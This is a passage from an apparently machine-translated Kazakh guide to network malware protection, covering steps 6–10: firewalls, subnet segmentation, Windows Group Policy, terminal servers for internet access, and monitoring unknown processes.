6-қадам Брандмауэр (ITU), олар да брандмауэр (брандмауэр), олар да брандмауэр болып табылады. Олар желі шекараларында орнатылуы керек. Егер сіздің компьютеріңіз Интернетке тікелей қосылған болса, ITU қосулы болуы керек. Егер компьютер тек жергілікті желіге (LAN) қосылған болса және серверлер арқылы Интернетке және басқа желілерге кіретін болса, онда бұл компьютерде ITU қосу қажет емес.

7-қадам Кәсіпорын желісін ішкі желілерге бөлу. Бұл принцип бойынша желіні бұзу ыңғайлы: бір ішкі желіде бір бөлім, екіншісінде басқа бөлім. Ішкі желілерді физикалық деңгейде (SCS), деректер байланысы деңгейінде (VLAN), желі деңгейінде (IP мекенжайларымен қиылыспаған ішкі желілер) бөлуге болады.

8-қадам Windows жүйесінде компьютерлердің үлкен топтарының қауіпсіздігін басқарудың тамаша құралы бар - бұл топтық саясаттар (GPO). GPO арқылы сіз компьютерлер мен серверлерді конфигурациялай аласыз, осылайша зиянды бағдарламаларды жұқтыру және тарату мүмкін болмайды.

9-қадам Терминалға кіру. Желіде 1-2 терминал серверін көтеріңіз, ол арқылы пайдаланушылар Интернетке қол жеткізе алады және олардың жеке компьютерлерінің жұқтыру ықтималдығы нөлге дейін төмендейді.

10-қадам Компьютерлер мен серверлерде жұмыс істейтін барлық процестер мен қызметтерді қадағалау. Сіз оны белгісіз процесс (қызмет) басталған кезде жүйелік әкімші хабардар ететіндей етіп жасай аласыз. Мұны істей алатын коммерциялық бағдарламалық қамтамасыз ету көп тұрады, бірақ кейбір жағдайларда шығындар ақталады.